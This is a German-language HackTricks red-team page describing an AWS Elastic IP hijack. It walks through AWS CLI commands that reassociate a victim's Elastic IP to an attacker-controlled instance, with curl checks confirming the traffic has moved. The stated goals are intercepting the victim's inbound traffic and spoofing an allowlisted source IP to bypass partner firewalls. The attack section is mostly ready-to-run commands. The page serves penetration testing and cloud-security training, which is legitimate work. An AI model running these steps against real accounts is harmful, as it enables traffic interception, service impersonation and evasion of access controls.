AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Zusammenfassung

Missbrauche ec2:AssociateAddress (und optional ec2:DisassociateAddress), um eine Elastic IP (EIP) von einer victim instance/ENI zu einer attacker instance/ENI neu zuzuordnen. Dies leitet eingehenden Traffic, der an die EIP gerichtet ist, zum attacker um und erlaubt dem attacker außerdem, ausgehenden Traffic mit der allowlisted public IP zu erzeugen, um externe Partner-Firewalls zu umgehen.

Voraussetzungen

  • Target EIP allocation ID im selben Account/VPC.
  • Attacker instance/ENI, die Sie kontrollieren.
  • Berechtigungen:
  • ec2:DescribeAddresses
  • ec2:AssociateAddress auf der EIP allocation-id und auf der attacker instance/ENI
  • ec2:DisassociateAddress (optional). Hinweis: --allow-reassociation hebt die vorherige Zuordnung automatisch auf.

Angriff

Variablen

REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
  1. EIP des Opfers zuweisen oder identifizieren (Lab weist eine neue zu und hängt sie an das Opfer an)
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
  1. Prüfen, ob die EIP aktuell auf den Zielservice zeigt (z. B. durch Überprüfung des Banners)
curl -sS http://$EIP | grep -i victim
  1. EIP dem Angreifer wieder zuordnen (wird automatisch vom Opfer getrennt)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
  1. Verifiziere, dass die EIP jetzt auf den attacker service aufgelöst wird
sleep 5; curl -sS http://$EIP | grep -i attacker

Beweise (verschobene Zuordnung):

aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text

Auswirkungen

  • Inbound impersonation: Der gesamte Verkehr an die hijacked EIP wird an die attacker instance/ENI zugestellt.
  • Outbound impersonation: Attacker kann Traffic initiieren, der scheinbar von der allowlisted public IP stammt (nützlich, um Partner-/externe Source-IP-Filter zu umgehen).

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks